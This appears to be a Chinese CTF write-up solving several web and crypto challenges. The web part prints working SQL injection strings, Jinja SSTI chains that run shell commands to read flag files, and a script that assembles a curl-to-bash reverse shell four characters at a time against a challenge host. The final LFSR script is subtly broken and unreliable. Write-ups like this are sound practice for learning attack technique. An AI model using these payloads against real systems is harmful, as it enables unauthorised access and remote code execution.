Web

ez_flask_2

username为admin会自动跳转到/index 界面
username:admin ' union select 1,2,3,4 -- 不会报错,而且这里admin改了也没有关系,但还是无法登陆。
这题考察点应该是虚拟表单注入,具体我之前有介绍过
这题不太一样就在于,我们不知道密码是在1,2,3,4的哪一个点上,干脆我们就直接全部改为md5

admin的md5值为21232f297a57a5a743894a0e4a801fc3 这里随便用什么都可以
username:' union select '21232f297a57a5a743894a0e4a801fc3','21232f297a57a5a743894a0e4a801fc3','21232f297a57a5a743894a0e4a801fc3','21232f297a57a5a743894a0e4a801fc3' -- 
password:admin

在info1发现ssti注入点,因为{}被过滤,我们需要在之前的username处注入{{",方便后面的闭合

username:{{"' union select '21232f297a57a5a743894a0e4a801fc3','21232f297a57a5a743894a0e4a801fc3','21232f297a57a5a743894a0e4a801fc3','21232f297a57a5a743894a0e4a801fc3' --
password:admin
info1"|attr(("_","_","cla","ss","_","_")|join)|attr(( "_","_","ba","se","_","_")|join)|attr(("_","_","sub","cla","sses","_","_")|join) ()|attr(("_","_","ge","titem","_","_")|join)(91)|attr(("ge","t_data")|join)(0, ("/fl","ag")|join)}}

EZsqli

这题为什么我一直在整那xss 我是猪

首先注册:name=1'
回显注册成功hello, 1\'
可以猜出应该用了mysql_real_escape_string对字符进行了转义
在name处发现对长度有所限制 比如我们注册

name=123456789012345678901234567890123 #33位
回显:123456789012345678901234567890 #30位

在登陆处 一般都会执行

$sql = "select * from user where username = '$name' and password='$passowrd'";

那我们抓出name只能存储30位的特性注册

name=12345678901234567890123456789'
进行转义后name=12345678901234567890123456789\'
只存储30位就变成了 name=12345678901234567890123456789\
将'$name'后面的单引号进行了转义 变成

$sql = select * from user where username ='xxxx\' and password='$passowrd'

这样在password处就可进行注入

name=12345678901234567890123456789'
password=uniunionon/**/seleselectct/**/1,2,flag/**/from/**/flag# 发现是个假的 流程来一遍

password=uniunionon/**/seleselectct/**/1,2,group_concat(schema_name)/**/from/**/infoorrmation_schema.schemata# 注意 这里information的or 要双写oorr
得到库名:This_true

password=uniunionon/**/seleselectct/**/1,2,flag/**/from/**/This_true.flag#
Get flag

<=4

具体参考

  1. dir命令作为ls命令的别名
  2. *命令会先将当前目录下所有的文件进行一个排序,然后排序后的结果会以命令的形式送去bash执行,如下图,但是如果有写不是命令的话就会出现command not found的报错,这样一来我们就可一利用dir加上*命令去执行写入文件的操作
  3. 利用rev命令去反向文件的字符串,如果不多加h的话在你行dir的时候按字母排序字母t比s更靠后,放进v文件之后以及放入想文件里面是这样的,这就跟我们的目的相违背,不能构造出ls -t >g
  4. 反弹shell
import requests
from time import sleep
from urllib.parse import quote

payload = [
    '>dir', 
    '>sl', 
    '>g\>',
    '>ht-',
    '*>v',

    '>rev',
    '*v>x',


    '>ash', 
    '>b\\', 
    '>\|\\',
    '>p\\',
    '>to\\', 
    '>u.\\',
    '>y\\', 
    '>eo\\', 
    '>th\\', 
    '>\ \\', 
    '>rl\\', 
    '>cu\\', 

    # got shell
    'sh x', 
    'sh g', 
]


r = requests.get('http://219.219.61.234:50051/?reset=1')
for i in payload:
    assert len(i) <= 4
    r = requests.get('http://219.219.61.234:50051/?rce=' + quote(i) )
    print (i)
    sleep(0.1)


这里很难受的一点就是 刚开始发现ip出了点小问题 因为生成的文件不能重名,不能.开头,不管怎么设置都不能成功,最后换成了域名

无情的hello机器

好像args被过滤了,采用rrequest.cookies.x,老套路,先找可利用类,在185处找到了<class 'warnings.catch_warnings'>

Get:?name={%print(()|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3)()|attr(request.cookies.x4)(185)|attr(request.cookies.x5)|attr(request.cookies.x6)|attr(request.cookies.x4)(request.cookies.x7)|attr(request.cookies.x4)(request.cookies.x8)(request.cookies.x9))%} 

Cookie: x1=__class__;x2=__base__;x3=__subclasses__;x4=__getitem__;x5=__init__;x6=__globals__;x7=__builtins__;x8=eval;x9=__import__("os").popen('cat /flag.txt').read()

Crypto

简单的RSA

...CryptoCTF 2020做过一次 BMZCTF做了第二次 又遇到..
其实就是一个同余,把ϕ(n)给化简

import gmpy2

b = 33168381182273613039378043939021834598473369704339979031406271655410089954946280020962013567831560156371101600701016104005421325248601464958972907319520487
phi = b - 1
e = 4097
d = gmpy2.invert(e, phi)
print(d)
enc = 15648371218931722790904370162434678887479860668661143723578014419431384242698608484519131092011871609478799077215927112238954528656254346684710581567304227780228595294264728729958171950314042749100472064919234676544341981418897908716041285489451559413615567610248062182987859379618660273180094632711606707044369369521705956617241028487496003699514741969755999188620908457673804851050978409605236834130689819372028797174206307452231481436775711682625666741103384019125790777595493607264935529404041668987520925766499991295444934206081920983461246565313127213548970084044528257990347653612337100743309603015391586841499
# d = 4700510789097495050159107964161182653522012310205333571551682030889932250850163056444682562540239918129139820080278793804505162808763952008195078247331441
m = pow(enc, d, b)
print(m)
print(bytes.fromhex(hex(m)[2:]))

fakeRSA

果然是fake 和RSA没什么关系啦 爆破就完事啦

#cipher=[]  这里有点长 我就不贴啦
n = 12457981652507620082899382981019023150522130836049180768230343208048934250515055225919349467798787130145322363535840724320789633007392777695461819640437560640209852226105362332801576692429778616279117389786582662174560154469003170305006785551902344355335769435756760811102857819829329033582792826564656344565450265474296871162147060177241714540253604539780517460406770813062769099245157298730033826355717057929207255864286698539967655185399554949075313213370119868838885318633758295272070101734349060701723266336600294581259003531484934286818352843046724120072304901058035864828216652283864232249168467598307241102541
e = 65537
flag=""
for i in range(len(cipher)):
    for j in range (len(cipher[i])):
        for t in range(32,127):
            if(pow(t,e,n)==cipher[i][j]):
                flag+=chr(t)


print(flag)

乱写的密码

emmm 感觉对不起出题人写的密码 不过我真的不小心词频统计一下就出来了呀

ez_rsa

居然给了一个tips,拆开拿出tips后,爆破一下就出来了

from gmpy2 import iroot 
from gmpy2 import invert
n =17986052241518124152579698727005505088573670763293762110375836247355612011054569717338676781772224186355540833136105641118789391002684013237464006860953174190278718294774874590936823847040556879723368745745863499521381501281961534965719063185861101706333863256855553691578381034302217163536137697146370869852180388385732050177505306982196493799420954022912860262710497234529008765582379823928557307038782793649826879316617865012433973899266322533955187594070215597700782682186705964842947435512183808651329554499897644733096933800570431036589775974437965028894251544530715336418443795864241340792616415926241778326529055663
e = 65537
enc = 17505679398266502116464734134128725340247050682772207798718112582701162398326982870035320307354098156145675458669731605067821790146061040637109327455205893324813052120216078570610930872674755246099365674625431655007219684642963335426955196473587347290657014023186920750946928312239116919090008342804123453311441848155223191179999664929660663345568499980778425899869956228245802722031728956228667784902213280684273577858909961747898300981963006329584725303446719192681170020458749808054637224882633325702468591074293728614333360418157985394943356536309321590140334348949095024011542798810065149061943391776967748248277703228
beta =11864389277042761216996641604675717452843530574016671576684180662096506094587545173005905433938758559675517932481818900399893444422743930613073261450555599
tip = (n-1)//(2*beta)
for i in range(1000):
    x_add_y = tip % beta + beta*i
    x_mul_y = (tip - x_add_y)//(2*beta)
    print(i)
    try:
        if iroot(x_add_y**2 - 4*x_mul_y,2)[1]:
            x = (x_add_y + iroot(x_add_y**2 - 4*x_mul_y,2)[0] )//2
            y = x_add_y - x
            p = 2*y*beta + 1
            q = 2*x*beta + 1
            phi = (p-1)*(q-1)
            d = invert(e,int(phi))
            print(bytes.fromhex(hex(pow(enc,d,n))[2:]))
    except:
        pass

出来签到啦

这道题真的学到了很多

AES + LFSR

step 1 AES

  1. 伪造一个 fakeIV = "aaaaaaaaaaaaaaaa"
  2. 使用 fakeIV 和 key 去构造 Cipher -- fakeIVAes
  3. 使用这个 fakeIVAes 去解密 cipherText1,得到一个假的明文 fakePlainText
  4. 然后把 cipherText1 和 fakeIV 作异或运算得到 enc_msg
  5. 把 enc_msg 和 plainText 作异或运算就能得到真正的 IV
from Crypto.Cipher import AES

def xor(p1, p2):
    tmp = ''
    for i in range(len(p2)):
        tmp += chr(ord(p1[i]) ^ ord(p2[i]))
    return tmp

key = "19e6855d293a1b76ff44f18948b19bad".decode("hex")
cipherText1 = "97fb685d28fc895bb1617cda1e6c4d76".decode("hex")
cipherText = "d0ec67cccf6b2bb057c4faa168fa670c12cbb3d5d058968ff60426f95344a84b".decode("hex")
plainText = "Can_You_Find_me?"
fakeIV = "aaaaaaaaaaaaaaaa"

fakeIVAes = AES.new(key, AES.MODE_CBC, fakeIV)

fakePlainText = fakeIVAes.decrypt(cipherText1)
enc_msg = xor(fakePlainText, fakeIV)
iv = xor(enc_msg, plainText)
print len(iv)
print "iv is : " + iv

aes = AES.new(key, AES.MODE_CBC, iv)
flag = aes.decrypt(cipherText)
print flag

有个地方很奇怪 这个脚本我用python3的形式就一直报错 把输出改一改换成python2就好了

step 2 LFSR

flag = "bxsyyds{xxxxxxx}"
assert flag.startswith("bxsyyds{")
assert flag.endswith("}")
assert len(flag)==16

def lfsr(R,mask):
    output = (R << 1) & 0xfffffff
    i=(R&mask)&0xfffffff
    lastbit=0
    while i!=0:
        lastbit^=(i&1)
        i=i>>1
    output^=lastbit 
    return (output,lastbit)

R=int(flag[8:-1],16)
mask=0b1001000000100000001000100101
f=open("result","w")
for i in range(100):
    tmp=0
    for j in range(8):
        (R,out)=lfsr(R,mask)
        tmp=(tmp << 1)^out
    f.write(chr(tmp))
f.close()

根据最后的信息,我们可以得知{}里面扩有的为7位16进制数,想要正向爆破的话...好像有点难

我们粗略分析一下加密函数:

assert flag.startswith("bxsyyds{")
assert flag.endswith("}")
assert len(flag)==16 
#这里告诉我们 flag开头和结尾,以及里面为16-9=7位
def lfsr(R,mask):
    output = (R << 1) & 0xfffffff
# R为flag内部7位16进制数,这里运算自动化为28位2进制
# <<1左移一位 即R后面+0 变为29位
# & 0xfffffff 取R后28位 则最高位去掉 结果赋予output
# 所以可以归结为:把R最高位去掉 后面+0
    i=(R&mask)&0xfffffff
    lastbit=0
    while i!=0:
        lastbit^=(i&1)
        i=i>>1
    output^=lastbit
# i= R与mask&运算 再取后28位(这一步是多余?)
# i为28位 i从最低位开始向第二位异或,结果再向第三位异或直到遍历结束 结果赋予lastbit
# 上一步可以简化为 如果i中有奇数个1,lastbit为1,反之为0
# 将output最低为置于lastbit
    return (output,lastbit)
#经过一轮lfsr output为新的序列,lastbit为其最低的一位

对上述分析,lastbit的值取决于i中1的奇偶,i=R&mask mask我们已知 ,只有mask中为1的位置,i才有可能为1
所以i=R1^R3^R6^R10^R18R25R28

根据最后的写入规则,result中其实只有前28位2进制有用..奈何不会写脚本,只能用010手工提出来,而这28位,即位lfsr产生的28个lastbit

从逆向来看,当我们产生最后一个lastbit时,以及进行了27次for循环,则这时的情况为:
3333.jpg
由此即可得到R1,循环28次即可还原整个R序列。

m="1000000101111010010001111100"
mask=0b1001000000100000001000100101
#-1 -3 -6 -10 -18 -25
tmp=m
R = ''
for i in range(28):
    output = '?' + key[:27]
    ans = int(tmp[-1-i])^int(output[-1])^int(output[-3])^int(output[-6])^int(output[-10])^int(output[-18])^int(output[-25])
    R += str(ans)
    key = str(ans) + key[:27]

R = format(int(R[::-1],2),'x')
flag = "bxsyyds{" + R + "}"
print (flag)
最后修改:2021 年 02 月 07 日 05 : 46 PM